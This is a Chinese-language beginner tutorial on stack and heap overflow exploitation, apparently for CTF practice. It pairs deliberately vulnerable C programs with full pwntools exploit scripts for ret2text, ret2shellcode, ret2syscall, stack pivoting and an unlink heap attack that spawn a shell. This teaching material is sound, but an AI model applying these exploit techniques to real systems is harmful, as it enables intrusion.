一篇文章理解堆栈溢出

一篇文章理解堆栈溢出

  • 引言
  • 栈溢出
    • ret2text
      • 答案
    • ret2shellcode
      • 答案
    • ret2syscall
      • 答案
    • 栈迁移
      • 答案
  • 堆溢出 unlink - UAF
    • 堆结构
      • 小提示
    • 向前合并/向后合并
    • 堆溢出题
      • 答案

引言

让新手快速理解堆栈溢出,尽可能写的简单一些。

栈溢出

代码执行到进入函数之前都会记录返回地址SP中,保证代码在进入函数执行完成后能返回继续执行下面的代码,而栈溢出攻击原理就是想尽一切办法覆盖掉这个保存在SP中的返回地址,改变代码执行流程。
刚开始写博客的时候写过一篇如何在windows中利用ntdll的jmp esp实现栈溢出攻击,这次我们回顾一下。


此时栈中内容应该是这样

在进入需要call的函数后,如果我们从栈的低地址一直覆盖内容到高地址,就可以覆盖掉这个返回地址

ret2text

简单的看一道以前的ctf题,为了深入理解我们先自己编译一份存在漏洞的代码

#include <stdlib.h>
#include <stdio.h>
void shell(){//故意存在的后门system("/bin/sh");
}
void test(int a){//随便写的printf("exit!!!!!%d\n" , a);
}
void print_name(char* input) {//漏洞函数char buf[15];memcpy(buf,input,0x100);printf("Hello %s\n", buf);
}
int main(int argc, char** argv){char buf[0x100];puts("input your name plz");read(0,buf,0x100);print_name(buf);return 0;
}// gcc -m32 -no-pie -g test.c -o test

编译后再ida中长这样

答案

from pwn import *elf = ELF("./test")
# 这里是我调试器用的可以不写
context.terminal = ['qterminal','-e','sh','-c']
libc = ELF('/lib/i386-linux-gnu/libc.so.6')# p = remote("LOCALHOST",28525)
p = elf.process()print(p.recvline())
# print(elf.sym)# 附加调试器
#gdb.attach(p, 'b print_name')# 解题方式1:
# 先覆盖0x17个a 写满BUF,然后多4个字节覆盖push ebp指令保存的ebp
# 覆盖esp中的返回地址为0x8049196(shell)
# p.sendline(b'a'*(0x17+0x4)+p32(0x8049196))print(hex(elf.sym['system']))
# 解题方式2:
# 先覆盖0x17个a 写满BUF,然后多4个字节覆盖push ebp指令保存的ebp
# 覆盖esp中的返回地址为system
# 在call之前会将eip下一条地址压入esp,所以我们是在覆盖这个,0x80491c1(test的地址),我们exit之后会不会进入到test
# 覆盖参数 "/bin/sh"(0x804a008)
p.sendline(b'a'*(0x17+0x4)+p32(elf.sym['system'])+p32(0x80491c1)+p32(0x804a008) + p32(0xde)) # 0xde(222)是exit参数
p.interactive()

解题方式二是为了理解栈溢出原理,所以我在其中套了多个函数地址和参数。

ret2shellcode

再来看一道经典题目,mmap内存映射的栈溢出

#include <stdlib.h>
#include <stdio.h>
#include <sys/mman.h>
int main(int argc, char** argv){char buff;char * mapBuf;mapBuf = (char*)mmap(0x233000, 0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);printf("map address:%x\n",mapBuf);read(0,mapBuf,0x100);puts("enter something");read(0,&buff,0x100);puts("good bye");return 0;
}

权限是可读写可执行,MAP_PRIVATE|MAP_ANONYMOUS 表示不映射一个具体的fd,而是系统内部创建的匿名文件,且不会被回写到文件。
其中我们给出了具体的映射地址,虽然mapBuf的内存地址并不属于这个栈,但是我们可以通过溢出buff让栈返回地址指向它,而它内存中实际的内容就是我们的shellcode.

答案

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ['qterminal','-e','sh','-c']
elf = ELF("./test")
p = elf.process()#gdb.attach(p, 'b 13')
shellcode = asm(shellcraft.sh())
print(shellcode)
print(p.recvline())
p.sendline(shellcode)print(p.recvline())
# 随便覆盖一个rbp
p.sendline(b'a'*(0x9+0x8)+p64(0x233000))
p.interactive()

我们首先将shellcode写入了mapBuf指向的内存地址(0x233000),然后覆盖掉了返回地址,将它改为0x233000,在退出这个函数时就会执行我们在0x233000中写入的shellcode了。

ret2syscall

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4;setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("This time, no system() and NO SHELLCODE!!!");puts("What do you plan to do?");gets(&v4);return 0;
}

这段代码非常简单,但是题中给的文件开启了NX 保护,也就是说栈中的代码不可执行,此时我们无法覆盖为shellcode,那么就只能让他跳转到程序中本来就存在的一些方法去,而程序中也并没有调用system

我们这次用到了ROPgadget工具,让他在程序中找一些指定的汇编指令。
还有cyclic可以帮忙测试栈溢出的大小

答案

思路是利用int 0x80中断进入系统调用execve
execve("/bin/sh",NULL,NULL)
eaxexecve系统调用号0xb,第一个参数ebx指向/bin/shecx和edx为0
而我们需要找到能修改寄存器的汇编代码,那么pop就是最好的选择。
push 是将参数压入sp,那么pop就是将sp的内容弹出指定寄存器

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context.terminal = ['qterminal','-e','sh','-c']
elf = ELF("./rop")
p = elf.process()
'''
ROPgadget --binary rop --only 'int'     
0x08049421 : int 0x80ROPgadget --binary rop --only 'pop|ret'|grep eax
0x080bb196 : pop eax ; retROPgadget --binary rop --only 'pop|ret'|grep ebx  这里还可以控制ecx所以直接再找edx的
0x0806eb91 : pop ecx ; pop ebx ; retROPgadget --binary rop --only 'pop|ret'|grep edx
0x0806eb6a : pop edx ; retROPgadget --binary rop --string '/bin/bash'
0x080be408 : /bin/sh
'''
int_0x80 = 0x08049421
pop_eax_ret = 0x080bb196
pop_ecx_ebx_ret = 0x0806eb91
pop_edx_ret = 0x0806eb6a
sh = 0x080be408
# 112 cyclic测试得出
payload = b'a' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_ecx_ebx_ret) + p32(0) + p32(sh) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)
p.sendline(payload)
p.interactive()

栈迁移

int vul()
{char s[40]; // [esp+0h] [ebp-28h] BYREFmemset(s, 0, 0x20u);read(0, s, 48u);printf("Hello, %s\n", s);read(0, s, 0x30u);return printf("Hello, %s\n", s);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{init();puts("Welcome, my friend. What's your name?");vul();return 0;
}

程序中可以发现在vul函数的read的第二处出现了栈溢出,但是我们发现溢出的大小实在是太小了,我们无法写入system后再加入参数,注意程序同样开启了NX保护,也就是栈中代码不可执行,这里需要了解一点点的GOT/PLT了,可以看我这篇文章:
PLT、GOT ELF重定位流程新手入门

原理是通过覆盖返回地址让它返回到s变量的内存地址(bss段),这样我们就有足够的地方写shellcode了

答案

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context.terminal = ['qterminal','-e','sh','-c']
elf = ELF("./test")
p = elf.process()
# 漏洞代码
#char s[40]; // [esp+0h] [ebp-28h] BYREF
#read(0, s, 0x30u); #0x30-0x28 = 0x8 不够我们写system后的参数,栈大小不够,我们需要将ESP移到BSS段,刚好我们的s本身就在bss段
#printf("Hello, %s\n", s);
#read(0, s, 0x30u);
print(p.recvline())payload = b'a' * (0x27) # 因为使用sendline多了一个\n 所以这里写0x27
p.sendline(payload) # 因为我们填满了0x28 并且没有\0所以此时输出必定会将ebp输出出来
p.recvuntil("a\n")  
ori_ebp = u32(p.recv(4)) # 接收本来正常的ebp
print(hex(ori_ebp))# s地址 偏移计算
# 原ebp 可以在push ebp 看一下ebp地址 是0xffffd4c8
# 然后在leave之前 看一下stack
# esp 0xffffd490 ◂— 'aaaaaa\n\n'
# 通过计算得到偏移是 0xffffd490 - 是0xffffd4c8 = -0x38# 另外一种办法是,在push ebp 看一下ebp地址 是0xffffd4c8
# 在leave前看一下 ebp = 0xffffd4b8
# 是0xffffd4b8 - 0xffffd4c8 = -0x10,又由于我们在IDA中知道#char s[40]; // [esp+0h] [ebp-28h] BYREF
# -0x10 - 0x28 = - 0x38
bss_addr = ori_ebp - 0x38# system addr 两种办法
# 一种通过.got.plt 
# 0804a018  00000407 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
# x 0x804a018 
# <system@got.plt>:     0x08048406
# 由于我们知道 此时system没有被执行过,这里保存的地址肯定是plt + 6# 第二种 直接读取.plt
# .plt              PROGBITS        080483c0
# x/32x 0x080483c0
# 0x8048400 <system@plt>: 0xa01825ff      0x18680804      0xe9000000      0xffffffb0# 第三种 直接用pwntools
system_addr = elf.plt['system']leave_ret = 0x080484b8 # ROPgadget --binary test --only 'leave|ret'# 迁移到BSS段,正好我们的s就是
# 先覆盖4字节,因为最后leave 相当于mov esp,ebp; pop ebp;使esp + 4,所以这里要先跳过0x4 随便填充4个字节
payload2 = b'A' * 0x4
# ret 要跳转到的eip
payload2 += p32(system_addr) 
# system后的返回地址 随便写吧
payload2 += b'A' * 0x4
# 参数字符串地址,这个字符串是下面写的 所以要计算要跳过的大小
payload2 += p32(bss_addr + 0x4 + 0x4 + 0x4 + 0x4)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'A') # 填充满0x28个,不够用A补
# 将原来正常的ebp 改为 s 的地址 让其执行leave的时候把这个地址给esp
payload2 += p32(bss_addr)
# 填入leave;ret,ret的时候因为esp被我们修改的ebp覆盖了,所以回到了ebp + 0x4(也就是s+0x4等价于payload2 + 0x4)
payload2 += p32(leave_ret)p.sendline(payload2)
p.interactive()

堆溢出 unlink - UAF

堆溢出原理在堆释放时,修改双向链表的过程,有空子可以钻,让其指针赋值时将我们需要的地址赋值过去,但是我们也仅仅是指修改了一个内存地址,而不是像栈溢出那样修改了它的执行流程。

堆结构

在这里插入图片描述
size记录的是整个chunk大小,而不是malloc时的大小。

小提示

因为malloc是按8字节对齐,所以实际上size的最后3位bit永远不可能不是1 (8 = 0b1000),所以用其中1位来做PREV_INUSE的标记位。

向前合并/向后合并

向前合并和向后合并,并不是说对于当前区块来说,合并到前一个或合并到后一个,而是正好相反。

向后合并是指如果前一个区块没有被使用,将自身指针指向前一个区块,并且将大小合并,向前合并则相反。

if (!prev_inuse(p)) {prevsize = p->prev_size;size += prevsize;p = chunk_at_offset(p, -((long) prevsize)); unlink(p, bck, fwd);
}   
#define unlink(P, BK, FD) {                      \FD = P->fd;                   \BK = P->bk;                   \FD->bk = BK;                  \BK->fd = FD;                  \...
}

我们需要关注的点在于unlink,这个从双向链表移除自身的代码。下面的题目中unlink其实还有检查代码,就是判断FD->bk是否等于BK->fd。

堆溢出题

这是一个简单的堆溢出题,我将其中的函数都重命名了,在IDA中你能知道这些函数时做什么的


可以看见create_item申请的堆内存地址被保存到了一个全局变量s中,并且是从下标1开始使用的。

我们将变量和函数地址都先记录下来

edit_item = 0x4009e8free_item = 0x400b07puts_if_exists = 0x400ba9create_item = 0x400936bss_s = 0x602140


我们还知道了GLIBC的版本是2.2.5,但是我本机没有,可以用工具替换。

使用 patchelf 替换2.23,因为2.2.5在glibc-all-in-one没找到glibc-all-in-one可以在github下载到。

patchelf --set-interpreter /home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath /home/kali/glibc-all-in-one//libs/2.23-0ubuntu11.3_amd64 ./stkof

答案

我们要做的其实就是修改掉s数组中存放的内容。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['qterminal','-e','sh','-c']
stkof = ELF("./stkof") # 题的原文件网上可以搜到
p = stkof.process()
libc = ELF('/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')#edit_item = 0x4009e8
#free_item = 0x400b07
#puts_if_exists = 0x400ba9 # 没啥用
#create_item = 0x400936
bss_s = 0x602140 # 存着分配的堆地址,0下标无用,(&::s)[++dword_602100] = v2; 1号块就是1下标def alloc(size):p.sendline(b'1')p.sendline(str(size))p.recvuntil(b'OK\n')def edit(idx, size, content):p.sendline(b'2')p.sendline(str(idx))p.sendline(str(size))p.send(content)p.recvuntil(b'OK\n')def free(idx):p.sendline(b'3')p.sendline(str(idx))def puts_if_exists():p.sendline(b'4')print(p.recvline())def exp():# gdb.attach(p, 'b *0x4009e8')# editalloc(0x100)  # idx 1alloc(0x20)  # idx 2 # 32大小alloc(0x80)  # idx 3#在2中伪造chunk并且溢出修改3的chunk头#FD 下一块 ,BK 上一块,fd在结构偏移是第三个,bk在结构偏移是第四个payload = p64(0)  #prev_sizepayload += p64(0x20)  #size# 使(bss_s + 0x10 - 3*0x8)->bk(3*0x8) == (bss_s + 0x10 - 2*0x8)->fd(2*0x8) == (bss_s + 0x10),绕过checkpayload += p64(bss_s + 0x10 - 3*0x8)  #fd     #此时fd->bk =  (bss_s + 0x10 - 3*0x8)+(3*0x8)payload += p64(bss_s + 0x10 - 2*0x8)  #bk     #此时bk->fd =  (bss_s + 0x10 - 2*0x8)+(2*0x8)# 溢出部分payload += p64(0x20) # 下一个区块的 prev_sizepayload += p64(0x90) # 下一个区块 size 偶数,覆盖prev_inuse 为 0(0x90的大小是内存对齐后的结果)# 修改2号块,等会溢出3号块edit(2, len(payload), payload)# 准备 释放3 触发向后合并,触发unlink(此时unlink的P就是2号块)# FD = P->fd; #下一块# BK = P->bk; #上一块# FD->bk = BK;# BK->fd = FD; # 根据计算类似下面这样,只是我们没有写临时变量,这样看会清楚点,代码虽然是错的# p->fd 被我们伪造成了(bss_s + 0x10 - 3*0x8)# p->bk 被我们伪造成了(bss_s + 0x10 - 2*0x8)# FD->bk = BK;  # 赋值相当于 (bss_s + 0x10 - 3*0x8)+(3*0x8) = bss_s + 0x10 - 2*0x8# BK->fd = FD;  # 赋值相当于 (bss_s + 0x10 - 2*0x8)+(2*0x8) = bss_s + 0x10 - 3*0x8# 最后修改其实就是# bss_s + 0x10 = bss_s + 0x10 - 3*0x8# bss_s + 0x10 = bss_s - 0x8# bss_s + 0x10 就是 bss_s[2]# 让 bss_s 存着的2号块地址变成 = bss_s - 0x8free(3)p.recvuntil('OK\n')#覆盖bss_s存着的2号块地址(bss_s - 0x8),跳过8字节使bss_s[0] = free@got, bss_s[1]=puts@got, bss_s[2]=atoi@got#此时存着的堆地址其实全部被我们改掉了,后面干的事和堆一点关系都没有了payload = b'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])edit(2, len(payload), payload) #这里payload数据是写入了 bss_s 段# 由于此时 bss_s[0] = free@got.plt# 本来free@got.plt中存的是0x7f7e67a84540 <__GI___libc_free>:      0x8348535554415541# 我们此时修改0号块内容,实际上就是(&bss_s)[0] = puts@plt# 等于将__GI___libc_free改为了puts@pltpayload = p64(stkof.plt['puts'])edit(0, len(payload), payload) #此时free已经被替换#free((&::s)[1]); = puts@plt((&::s)[1]);#此时相当于puts@plt(&bss_s[1]);#          puts@plt(puts@got);#我们就可以先拿到puts@got地址,用来计算glibc基址free(1)puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')puts_addr = u64(puts_addr)log.success('puts addr: ' + hex(puts_addr))libc_base = puts_addr - libc.symbols['puts']binsh_addr = libc_base + next(libc.search(b'/bin/sh'))system_addr = libc_base + libc.symbols['system']log.success('libc base: ' + hex(libc_base))log.success('/bin/sh addr: ' + hex(binsh_addr))log.success('system addr: ' + hex(system_addr))# 由于此时 bss_s[2] = atoi@got.plt# 修改2号块代码是(&bss_s)[2] = systempayload = p64(system_addr)edit(2, len(payload), payload)# 随便发一个触发main里的atoi,参数就是binsh_addrp.send(p64(binsh_addr))p.interactive()if __name__ == "__main__":exp()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/38318.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android 10.0 关于定制自适应AdaptiveIconDrawable类型的动态日历图标的功能实现系列一

1.前言 在10.0的系统rom定制化开发中,在关于定制动态时钟图标中,原系统是不支持动态日历图标的功能,所以就需要从新 定制动态时钟图标关于自适应AdaptiveIconDrawable类型的样式,就是可以支持当改变系统图标样式变化时,动态日历 图标的背景图形也跟着改变,所以接下来就来…

BGE M3-Embedding 模型介绍

BGE M3-Embedding来自BAAI和中国科学技术大学&#xff0c;是BAAI开源的模型。相关论文在https://arxiv.org/abs/2402.03216&#xff0c;论文提出了一种新的embedding模型&#xff0c;称为M3-Embedding&#xff0c;它在多语言性&#xff08;Multi-Linguality&#xff09;、多功能…

19 解决问题的策略

众所周知&#xff0c;每个学期都会有一个单元“解决问题的策略”。而在此文章&#xff0c;我们会把小学阶段所有策略都进行一一讲解。 每个年级的两个学期中的策略&#xff0c;其实有异曲同工之处。 三年级&#xff1a;从条件和问题出发解决问题四年级&#xff1a;用图表整理…

X射线底片焊缝缺陷检测

实现四种焊缝缺陷的检测和分割处理。

Python:谈谈常规滤波器(带通、低通、高通、带阻)的用法

一、滤波器的作用 滤波器在信号处理中用于移除或减少信号中的噪声&#xff0c;同时保持信号的某些特性。滤波器通常用于音频、视频和图像处理等领域。滤波器根据其 designed for different purposes and can be divided into several types, such as lowpass filters, highpass…

Pikachu 不安全的文件下载(Unsafe file download)概述 附漏洞利用案例

目录 获取下载链接 修改链接 重新构造链接 拓展 不安全的文件下载概述 文件下载功能在很多web系统上都会出现&#xff0c;一般我们当点击下载链接&#xff0c;便会向后台发送一个下载请求&#xff0c;一般这个请求会包含一个需要下载的文件名称&#xff0c;后台在收到请求…

02.Ambari自定义服务开发-metainfo.xml介绍

文章目录 metainfo.xml 介绍配置说明Hbase metainfo.xml配置说明配置参数详细介绍配置文件样例DORIS metainfo.xml 介绍 ​ 在Ambari自定义开发中&#xff0c;metainfo.xml 配置文件起着至关重要的作用。它用于定义服务的元数据信息&#xff0c;包括服务的版本、组件、执行脚本…

Todesk远程Ubuntu桌面系统100%但是进不去桌面

1、报错情况 如下图所示&#xff0c;用Todesk远程Ubuntu桌面&#xff0c;看到连接100%了&#xff0c;但是进不去桌面 ubuntu系统看起来的话&#xff0c;已经像被远程成功了 我就首先把todesk卸载重新安装了&#xff0c;后面发现还是这样&#xff0c;于是我就找客服去问了&…

Qt之Pdb生成及Dump崩溃文件生成与调试(含注释和源码)

文章目录 一、Pdb生成及Dump文件使用示例图1.Pdb文件生成2.Dump文件调试3.参数不全Pdb生成的Dump文件调试 二、个人理解1.生成Pdb文件的方式2.Dump文件不生产的情况 三、源码Pro文件mian.cppMainWindowUi文件 总结 一、Pdb生成及Dump文件使用示例图 1.Pdb文件生成 下图先通过…

SpringMVC(1)——入门程序+流程分析

MVC都是哪三层&#xff1f;在Spring里面分别对应什么&#xff1f;SpringMVC的架构是什么&#xff1f; 我们使用Spring开发JavaWeb项目&#xff0c;一般都是BS架构&#xff0c;也就是Browser&#xff08;浏览器&#xff09;-Server&#xff08;服务器&#xff09;架构 这种架构…

基于SpringBoot的超市进销存系统

你好呀&#xff0c;我是计算机学姐码农小野&#xff01;如果有相关需求&#xff0c;可以私信联系我。 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;SpringBoot框架 工具&#xff1a;MyEclipse、Tomcat 系统展示 首页 首页界面图 个人中心 个人中心…

ESP32实现UDP连接——micropython版本

代码&#xff1a; import network import socket import timedef wifiInit(name, port):ap network.WLAN(network.AP_IF) # 创建一个热点ap.config(essidname, authmodenetwork.AUTH_OPEN) # 无需密码ap.active(True) # 激活热点ip ap.ifconfig()[0] # 获取ip地址print(…

【D3.js in Action 3 精译】1.1.2 D3.js 的适用场景

译注 上一节中我们了解了 D3 诞生的技术背景——为了满足 Web 可访问数据的可视化需求。本节再来看看 D3.js 的适用场景是怎样的、在什么时候会考虑使用 D3.js。 1.1.2 D3.js 的适用场景 数据可视化领域正蓬勃发展&#xff0c;且备受青睐。过去十年间用于生成数据驱动图形的工…

Linux—进程与计划管理

目录 一、程序 二、进程 1、什么是进程 2、进程的特点 3、进程、线程、携程 3.1、进程 3.2、线程 3.3、携程 三、查看进程信息 1、ps -aux 2、ps -elf 3、top ​3.2、输出内容详解 3.2.1、输出第一部分解释 3.2.2、输出第二部分解释 4、pgrep 5、pstree 四、进…

【项目】论坛系统项目自动化测试

论坛系统项目自动化测试 前述一、脑图二、代码编写1.公共类InitAndEnd1.登录页面测试ForumLoginTest正常登录&#xff1a;异常登录&#xff1a; 3.注册页面测试ForumRegisterTest注册成功&#xff1a;注册失败&#xff1a; 4论坛列表页面测试ForumListTest登录状态下&#xff1…

1.spring入门案例

Spring 介绍 Spring是轻量级的开源的JavaEE框架。 Spring有两个核心部分&#xff1a;IOC和AOP IOC 控制反转&#xff0c;把创建对象过程交给Spring进行管理。 AOP 面向切面&#xff0c;不修改源代码进行功能增强。 Spring特点 1.方便解耦&#xff0c;简化开发。 2.AOP编…

算法体系-25 第二十五节:窗口内最大值或最小值的更新结构

一 滑动窗口设计知识点 滑动窗口是什么&#xff1f; 滑动窗口是一种想象出来的数据结构&#xff1a; 滑动窗口有左边界L和有边界R 在数组或者字符串或者一个序列上&#xff0c;记为S&#xff0c;窗口就是S[L..R]这一部分 L往右滑意味着一个样本出了窗口&#xff0c;R往右滑意味…

【MySQL】库的操作【创建和操纵】

文章目录 1.创建数据库1.1字符集和校验规则1.查看系统默认字符集以及校验规则2.查看数据库支持的字符集以及校验规则 1.2校验规则对数据库的影响1.创建一个数据库&#xff0c;校验规则使用utf8_ general_ ci[不区分大小写]2.创建一个数据库&#xff0c;校验规则使用utf8_ bin[区…

flask的基本使用2

上一篇我们介绍了基本使用方法 flask使用 【 1 】基本使用 from flask import Flask# 1 实例化得到对象 app Flask(__name__)# 2 注册路由--》写视图函数 app.route(/) def index():# 3 返回给前端字符串return hello worldif __name__ __main__:# 运行app&#xff0c;默认…

idea的代码提示插件使用记录

安装ai插件卸载之后&#xff0c;偶尔还是idea一直占用100%&#xff0c;将idea缓存全清理了&#xff0c;重新生成之后就正常了 idea官方插件 下面几个感觉…基本没有感觉 按行提示的偶尔有提示&#xff0c;&#xff08;cpu占用不小&#xff0c;提示不强&#xff09; 缺点&am…